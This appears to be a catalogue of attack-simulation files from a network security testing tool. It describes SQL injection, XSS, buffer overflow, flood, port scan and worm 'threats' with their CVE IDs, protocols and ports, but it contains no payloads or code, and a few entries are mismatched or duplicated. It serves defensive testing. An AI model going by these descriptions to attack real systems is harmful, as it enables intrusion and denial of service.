Threat File Name:	esyndicat_page_sqli.xml
Executive Description:	eSyndiCat (page.php) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. eSyndiCat is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150409-02_IBM_Tivoli_Storage_Manager_FastBack_Mount_Stack_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Mount Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Mount. The vulnerability is due to insufficient input validation of parameters to the CRYPTO_S_EncryptBufferToBuffer function. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 30051/TCP. Successful exploitation results in arbitrary code execution within the context of SYSTEM. Tester should set the variable \$destPort to 30051 before test.
Protocol Type:	IBM TSM FastBack Mount
CVEID:	CVE-2015-0120
Threat File Name:	selectapix_xss_IPv6.xml
Executive Description:	SelectaPix Cross-Site Scripting (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. SelectaPix is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2913
Threat Package:	Standard
Threat File Name:	TSL20160113-02_Microsoft_Internet_Explorer_and_Edge_CVE-2016-0002_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-0002 Memory Corruption(IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to error while handling certain objects when processing HTML and script code.A remote unauthenticated attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTPS,HTTP,IPv6
CVEID:	CVE-2016-0002
Threat File Name:	TSL20130730-01_Trimble_Navigation_SketchUp_BMP_File_Buffer_Overflow_IPv6.xml
Executive Description:	Trimble Navigation SketchUp BMP File Buffer Overflow [IPv6, Version]
Detailed Description:	A remote code execution vulnerability exists in Trimble Navigation's SketchUp. The vulnerability is due to a heap buffer overflow while processing BMP files which contain malicious RLE data. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to open a malicious BMP file. Successful exploitation could result in arbitrary code execution with the privileges of the logged in user. If exploitation is not successful, the application may terminate abnormally.
Protocol Type:	IPv6,HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-3663

Threat File Name:	FSC20071211-11_Microsoft_Internet_Explorer_DHTML_Objects_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer DHTML Objects Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles switching of page location. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5347
Threat Package:	Standard
Threat File Name:	FSC20100115-01_Microsoft_Internet_Explorer_Use-After-Free_Remote_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer Use-After-Free Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The flaw is due to a use-after-free error within the HTML engine. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-0249
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatsToHEAD.xml
Executive Description:	Fuzz HTTP HEAD appended by %s
Detailed Description:	Fuzzes the Method field appending by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	easy-content_sqli_IPv6.xml
Executive Description:	Easy-Content Forums 1.0 SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. Easy-Content Forums is a web application that typically listens on port 80." (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	lupper32.xml
Executive Description:	Lupper Worm 32
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	imail_ldap_IPv6.xml
Executive Description:	IMail LDAP Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attacks the LDAP server that comes with Ipswitch Collaboration Suite. This service typically listens on port 389. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2004-0297
OSVDB:	3984
Threat Package:	Standard
Threat File Name:	miniwebshop_xss_IPv6.xml
Executive Description:	Mini Web Shop View.PHP Viewcategory.PHP Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat attempts to cause a cross site scripting condition through the View.php function call. By exploiting this XSS vulnerability an attacker can steal session and cookie authentication details. Mini Web Shop is a web application, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	NOOPtcpAIX.xml
Executive Description:	TCP NOOP Packet Variant AIX
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	mailenable_imap_bof.xml
Executive Description:	MailEnable IMAP Mailbox Name Buffer Overflow Vulnerability
Detailed Description:	This threat sends a malicious CREATE command to cause a buffer overflow. MailEnable IMAP is a web application that typically listens on port 143.
Protocol Type:	IMAP
CVEID:	CVE-2005-3690
OSVDB:	20929
Threat Package:	Standard
Threat File Name:	RipReqFlood_IPv6.xml
Executive Description:	RIP Request Flood (IPv6 Version)
Detailed Description:	This threat launches RIP (Routing Information Protocol) request messages, at a targeted gateway or router, from a falsified and randomized source. This will result in the responding system to send all or part of its routing table in a RIP response message. This will result in the system being tied up as a result of sending thousands of erroneous replies. (IPv6 Version)

Protocol Type:	RIP/IPv6
CVEID:	CVE-1999-0111
OSVDB:	11726
Threat Package:	Standard
Threat File Name:	FSC20100825-14_Adobe_Shockwave_Player_Director_File_FFFFFFFF88_Record_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Shockwave Player Director File FFFFFFFF88 Record Parsing Integer Overflow (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to an integer overflow error while calculating the size value for heap memory allocation while parsing a FFFFFFFF88 record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2876
Threat Package:	Standard
Threat File Name:	FSC20090629-05_HP_OpenView_Network_Node_Manager_rping_Stack_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager rping Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in HP Network Node Manager that could allow remote attackers to execute arbitrary code on a vulnerable system. The flaw is due to a boundary error when processing crafted packets sent to the server. Remote attackers could exploit this vulnerability by sending a HTTP request to the affected TCP port. In a sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the service.
Protocol Type:	HTTP
CVEID:	CVE-2009-1420
Threat Package:	Standard
Threat File Name:	IEDOS_j2se_IPv6.xml
Executive Description:	Internet Explorer J2SE Denial of Service (IPv6 Version)
Detailed Description:	This threat causes the IE web browser to crash by triggering an unhandled exceptional case in the J2SE handler. This threat comes from a malicious web site, typically over port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	20376
Threat Package:	Standard
Threat File Name:	TSL20160912-05_Digium_Asterisk_PJSIP_Stack_ACK_Denial_of_Service_IPv6.xml
Executive Description:	Digium Asterisk PJSIP Stack ACK Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in Digium Asterisk when the PJSIP stack is used. The vulnerability is due to improper processing of ACKs from an unrecognized endpoint, that causes a NULL pointer dereference. A remote unauthenticated attacker can exploit this vulnerability by sending an ACK to the target server. Successful exploitation would cause a denial of service condition.
Protocol Type:	SIP, SIPS, IPv6
Threat File Name:	wakeonlanflood.xml
Executive Description:	Wake-On-LAN Flood
Detailed Description:	This threat mimics a wake-on-LAN packet. This is a stateless UDP based protocol which can be used to power up one or more machines remotely. The destination port of this threat does not matter, and is not used by WOL.
Protocol Type:	WOL
Threat Package:	Standard
Threat File Name:	finger_root_IPv6.xml
Executive Description:	Finger Root (IPv6 Version)
Detailed Description:	This mimics the query sent by the finger program to the finger daemon (port 79), asking for information about root's account. This can be used to glean information about the account on the UNIX machine, and can cause a prevention of login in some versions of Solaris. (IPv6 Version)
Protocol Type:	Finger/IPv6
CVEID:	CVE-1999-0612
OSVDB:	11451
Threat Package:	Standard
Threat File Name:	TSL20140805-01_Google_Chrome_locationAttributeSetter_Use_After_Free.xml
Executive Description:	Google Chrome locationAttributeSetter Use After Free
Detailed Description:	A use after free vulnerability exists in Google Chrome. The vulnerability is due to an error in the locationAttributeSetter binding, which can be invoked through the document.location object. This vulnerability was reported by VUPEN as part of the Pwn2Own contest. A remote attacker could exploit this vulnerability by enticing a user to open a crafted web page. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-1713
OSVDB:	104501
Threat File Name:	FSC20070814-09_Microsoft_Windows_Graphics_Rendering_Engine_Code_Execution.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine Code Execution
Detailed Description:	An integer overflow vulnerability exists in the Microsoft Windows graphics rendering engine. The vulnerability is a result of improper range validation when certain GDI functions are called to process malformed image data. A remote attacker can exploit this flaw to inject and execute within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3034
Threat Package:	Standard
Threat File Name:	ms03-020_IPv6.xml
Executive Description:	MS03-020 Buffer Overflow in Object Type (IPv6 Version)

Detailed Description:	This threat causes a buffer overflow in Internet Explorer, allowing a malicious website to execute code. This is caused by a flaw in the Object tag. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0344
OSVDB:	2967
Threat Package:	Standard
Threat File Name:	TSL20111011-19_Microsoft_Internet_Explorer_Event_Handler_Use-After-Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Event Handler Use-After-Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to the way deleted objects are handled. This can result in memory corruption. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1997
Threat File Name:	sipescuri_IPv6.xml
Executive Description:	SIPPING: Escaped Headers in Request-URI (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with escaped headers in the Request-URI. This is invalid but an implementation may try to compensate for it. Because this is unexpected, it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC201110125-03_HP_OpenView_Network_Node_Manager_jovgraph_exe_displayWidth_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Fax Services Cover Page Editor Double Free Memory Corruption
Detailed Description:	A double free memory corruption vulnerability exists in Microsoft Windows Fax Services. The vulnerability is due to improper handling of Text objects while parsing Microsoft Fax cover page files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Fax cover page file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
Threat File Name:	mpc_mp4_bof_IPv6.xml
Executive Description:	Media Player Classic 6.4.9 MP4 File Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Media Player Classic. This threat is delivered via web page listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	eceflood.xml
Executive Description:	TCP ECE Flood
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the ECE flag has been turned on. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS.
Protocol Type:	TCP
CVEID:	CVE-2001-0183
OSVDB:	1743
Threat Package:	Standard
Threat File Name:	TSL20101214-37_Microsoft_Office_TIFF_Image_Converter_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Office TIFF Image Converter Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office parses crafted TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file. A heap buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to the way Office parses crafted TIFF image files. An attacker can leverage this vulnerability by enticing a target user to open a malicious file.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3947
OSVDB:	N/A
Threat File Name:	iis_localhost.xml
Executive Description:	HTTP GET localhost Error Page Request
Detailed Description:	This threat issues a HTTP request for the localhost host. This can disclose more details in scripting errors, allowing for attacker to discover the exact nature of a web script's failure. This is caused by a built in error reporting feature of IIS 5 and 6. IIS is a webserver, and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2678
OSVDB:	18926
Threat Package:	Standard
Threat File Name:	portscanSYN_IPv6.xml
Executive Description:	Portscan: SYN (IPv6 Version)
Detailed Description:	This threat sends TCP packets to a user defined range of ports with the SYN bit set. If the port is open, the target will respond with a SYN ACK, if the port is closed the target will respond with a RST. This portscanning technique will leave open connections on the host and may result in a Denial of Service due to SYN Flooding. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	sipnontokenchars_IPv6.xml
Executive Description:	SIPPING: Non-Token Characters in Unquoted Name (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with the display name unquoted, and containing non-token characters. This is invalid, and because it is unexpected may confuse or crash a SIP implementation. (IPv6 Version)

Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20070314-16_Microsoft_Internet_Explorer_7_Navigation_Canceled_Page_Cross-Site_Scripting.xml
Executive Description:	Microsoft Internet Explorer 7 Navigation Canceled Page Cross-Site Scripting
Detailed Description:	There exists a vulnerability in Microsoft Internet Explorer 7. The vulnerability is due to an input validation error in the local resource page "navcanc1.htm" when generating the "Refresh the page" link in the Internet Explorer 7. Successful exploitation would allow the attacker to execute a cross-site scripting or phishing attack.
Protocol Type:	HTTP
CVEID:	CVE-2007-1752
Threat Package:	Standard
Threat File Name:	FSC20060627-02_Microsoft_Internet_Explorer_Cross_Domain_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer Cross Domain Information Disclosure
Detailed Description:	There exists an information disclosure vulnerability in the Microsoft Internet Explorer browser. The flaw is caused by Internet Explorer's failure to impose proper cross domain data access restrictions. An attacker can exploit this vulnerability to retrieve information from the memory used by Internet Explorer.
Protocol Type:	HTTP
CVEID:	CVE-2006-3280
Threat Package:	Standard
Threat File Name:	TSL20151021-01_Microsoft_Internet_Explorer_CVE_2015_6049_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-6049 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-6049
Threat File Name:	TSL20130326-10_HP_Intelligent_Management_Center_FaultDownloadServlet_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center FaultDownloadServlet Information Disclosure(IPv6 version)
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to a lack of authentication and insufficient input validation when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5202
OSVDB:	91027
Threat File Name:	FSC20100330-19_Apple_QuickTime_FlashPix_Movie_File_Integer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime FlashPix Movie File Integer Overflow (IPv6 Version)
Detailed Description:	An integer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to an error when handling FlashPix encoded movie files. This vulnerability may be exploited by remote attackers by enticing a user to view specially crafted FlashPix files. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of the currently logged in user. An unsuccessful code execution attempt can lead to abnormal termination of the vulnerable program. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/IPv6
CVEID:	CVE-2010-0519
Threat Package:	Standard
Threat File Name:	TSL20111213-09_Microsoft_Publisher_Invalid_Pointer_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Publisher Invalid Pointer Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office. The vulnerability is due to insufficient data validation while parsing specially crafted Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Publisher file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt may terminate the affected application abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,FTP
CVEID:	CVE-2011-3411
Threat File Name:	incredimail_activex_bof_IPv6.xml
Executive Description:	IncrediMail IMMenuShellExt ActiveX Control Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in IncrediMail ActiveX control trigger arbitrary code execution in Internet Explorer when accessed from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1683
Threat Package:	Standard
Threat File Name:	datalookDoS_IPv6.xml
Executive Description:	Datalook Denial of Service (IPv6 Version)
Detailed Description:	This threat causes the proxy program Datalook to crash by sending a malformed HTTP request. This threat will typically be directed at port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	17648
Threat Package:	Standard
Threat File Name:	FloodICMPreq.xml
Executive Description:	ICMP Echo Request Flood

Detailed Description:	This threat allows you to simulate an ICMP echo request flood (Ping flood). You can specify the source address range and target address with this attack. This is a very standard attack that can be done with utilities such as ping and can either cause a denial of service or crash older machines.
Protocol Type:	ICMP
CVEID:	CVE-2000-0292
OSVDB:	1291
Threat Package:	Standard
Threat File Name:	FSC20080909-09_Microsoft_Windows_Graphics_Rendering_Engine_GIF_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine GIF Parsing Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in the way that Microsoft Windows Graphics Rendering Engine parses GIF images. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted GIF file image. Successful exploitation can result in arbitrary code execution under the credentials of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3013
Threat Package:	Standard
Threat File Name:	TSL20140930-08_ManageEngine_Multiple_Products_multipartRequest_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine Multiple Products multipartRequest Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in ManageEngine OpManager, Social IT Plus and IT360. The vulnerability is due to lack of authentication and insufficient input validation on parameters sent to "/servlets/multipartRequest" in HTTP requests. A remote unauthenticated attacker can delete arbitrary files in arbitrary locations on the server. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2014-6036
OSVDB:	112279
Threat File Name:	TSL20170613-27_Microsoft_Windows_LNK_CVE-2017-8464_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows LNK CVE-2017-8464 Remote Code Execution (IPv6 Version)
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to improper handling of .LNK (shortcut) files. A remote attacker could exploit this vulnerability by enticing a target user into viewing a folder containing a malicious LNK file and binary. Successful exploitation results in the execution of arbitrary code under the security context of the target user.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP,IPv6
CVEID:	CVE-2017-8464
Threat File Name:	tftpdirtaversal.xml
Executive Description:	TFTP Directory Traversal
Detailed Description:	This threat tries to grab a file (in this case, a Windows SAM file) over TFTP. Many TFTP servers are misconfigured by default and let an attacker at any file on the system without any authentication. TFTP servers typically listen on UDP port 69.
Protocol Type:	TFTP
CVEID:	CVE-2002-1209
OSVDB:	8947
Threat Package:	Standard
Threat File Name:	x86NOOPtcp4.xml
Executive Description:	TCP x86 NOOP Packet Variant 4
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20100624-03_Novell_iManager_Tree_Name_Denial_of_Service.xml
Executive Description:	Novell iManager Tree Name Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in Novell iManager. The vulnerability is due to insufficient validation of the TREE parameter during login access. This vulnerability may be exploited by remote unauthenticated attackers to cause abnormal termination of the affected service leading to a denial of service condition, by sending a maliciously crafted HTTP request to the target server.
Protocol Type:	HTTP over port 8080,HTTPS over port 8443
CVEID:	CVE-CVE-2010-1930
Threat Package:	Standard
Threat File Name:	winBootpDOS.xml
Executive Description:	Microsoft Windows BOOTP Denial of Service
Detailed Description:	This threat sends a BOOTP packet with a maximum length hostname and Fully Qualified Domain Name (FQDN). Will cause aberrant behaviour on Windows DHCP service if BOOTP is enabled.
Protocol Type:	BOOTP
Threat Package:	Standard
Threat File Name:	FSC20100810-06_Microsoft_Internet_Explorer_Iframe_Uninitialized_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Iframe Uninitialized Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in the handling of a uninitialized memory. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-2556
Threat Package:	Standard

Threat File Name:	FSC20100126-08_PostgreSQL_Bit_Substring_Buffer_Overflow.xml
Executive Description:	PostgreSQL Bit Substring Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the PostgreSQL database server. The vulnerability is due to an error when executing the SQL substring function with malicious input. A remote authenticated attacker could leverage this vulnerability by sending a crafted SQL query to a target server. Successful exploitation could lead to the execution of arbitrary code on the target server, in this scenario the behaviour of the target server would depend entirely on the intention of the malicious code. In situation where code execution is not successful, the target server could terminate abnormally, resulting in a denial of service condition.
Protocol Type:	PostgreSQL
CVEID:	CVE-2010-0442
Threat Package:	Standard
Threat File Name:	revizecms_xss.xml
Executive Description:	Revize CMS HTTPTranslatorServlet XSS
Detailed Description:	This threat sends a crafted URL query that contains HTML or javascript to be included in the page. Revize CMS is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3730
OSVDB:	20922
Threat Package:	Standard
Threat File Name:	FSC20090427-07_HP_OpenView_Network_Node_Manager_ovalarmsrv_Integer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager ovalarmsrv Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in HP OpenView Network Node Manager software. The flaw is due to improper validation while processing specially crafted requests sent to the ovalarmsrv.exe server. Remote attackers could exploit this vulnerability to inject and execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HP OV NNM Ovalarmsrv Service
CVEID:	CVE-2008-2438
Threat Package:	Standard
Threat File Name:	FSC20090512-12_Microsoft_Office_PowerPoint_PP7_Component_Long_String_Buffer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint PP7 Component Long String Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Microsoft Office PowerPoint. The flaw is due to the way the application handles malicious PowerPoint (PPT) documents. An attacker could exploit this vulnerability by persuading the target user to open a specially crafted PowerPoint document with an affected version of Microsoft PowerPoint. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The injected code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally, potentially resulting in loss of unsaved data.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-1129
Threat Package:	Standard
Threat File Name:	iis_print.xml
Executive Description:	IIS .printer Request Buffer Overflow
Detailed Description:	This threat is a buffer overflow request that affects IIS 5.0 for Windows 2000 with Service Pack 1 or previous installed. It takes advantage of a flaw in the .printer directive for this version of IIS.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_ReplicateMInHTML.xml
Executive Description:	Fuzz HTTP Request-URI with index.htmmmmmml
Detailed Description:	Fuzzes the Request-URI field by replicating the letter m in index.html between 0 and 1024 times.
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20150113-11_Microsoft_Network_Policy_Server_RADIUS_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Network Policy Server RADIUS Denial of Service IPv6 version.
Detailed Description:	A denial of service vulnerability has been reported in Microsoft Network Policy Server. The vulnerability is due to an error in processing certain specially crafted username strings. A remote, unauthenticated attacker could exploit this vulnerability by sending specially crafted requests to the Network Policy Server. Successful exploitation could lead to a denial of service condition on the server. Tester should set \$destPort to 1812 before test.
Protocol Type:	RADIUS.IPV6
CVEID:	CVE-2015-0015
Threat File Name:	FSC20040616-01_Symantec_Enterprise_Firewall_DNSD_Proxy_Cache_Poisoning_IPv6.xml
Executive Description:	Symantec Enterprise Firewall DNSD Proxy Cache Poisoning (IPv6 Version)
Detailed Description:	There is a vulnerability in the way DNSD Proxy, a component of the Symantec Enterprise firewall, handles DNS responses. The DNSD Proxy, when operating as a DNS cache, can be poisoned by remote attackers pretending to be authoritative over domains for which they are not. This vulnerability can be exploited to direct users to malicious websites that appear to be trusted sites. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-1754
Threat Package:	Standard
Threat File Name:	FSC20100810-15_Microsoft_Silverlight_Pointer_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Silverlight Pointer Handling Memory Corruption (IPv6 Version)

Detailed Description:	<p>A remote code execution vulnerability has been reported in Microsoft Silverlight. The vulnerability is due to a flaw in the way that Microsoft Silverlight handles pointers. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the context of the current logged on user.</p> <p>Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. Additionally, the behavior of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.</p>
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-0019
Threat Package:	Standard
Threat File Name:	jetbox_cms_rfi.xml
Executive Description:	Jetbox CMS Search_function.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Jetbox CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4422
OSVDB:	28299
Threat Package:	Standard
Threat File Name:	docpile_we_rfi_IPv6.xml
Executive Description:	docpile:we INIT_PATH Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Docpile:We is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	finder_dmg_corruption.xml
Executive Description:	Apple Finder DMG Volume Name Memory Corruption
Detailed Description:	This threat simulates a client making a HTTP GET request, and the server replying with a maliciously constructed Apple disk image (DMG) file. This file will trigger a vulnerability when Finder attempts to open it, which can cause a denial of service and possibly allow execution of arbitrary code. This is particularly bad when the Safari web browser is used, as Safari will attempt to open the DMG file automatically by default. The DMG file is transferred over HTTP, which usually runs over port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060424-14_Mozilla_Firefox_JavaScript_Function_focus_Buffer_Overflow.xml
Executive Description:	Mozilla Firefox JavaScript Function focus Buffer Overflow
Detailed Description:	A remotely exploitable code execution vulnerability has been reported in the Mozilla Firefox product. The vulnerability is created as a result of a flaw in the implementation of the JavaScript focus method. Exploitation of this vulnerability may allow a malicious user to inject and execute arbitrary code on a target host within the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2006-1993
Threat Package:	Standard
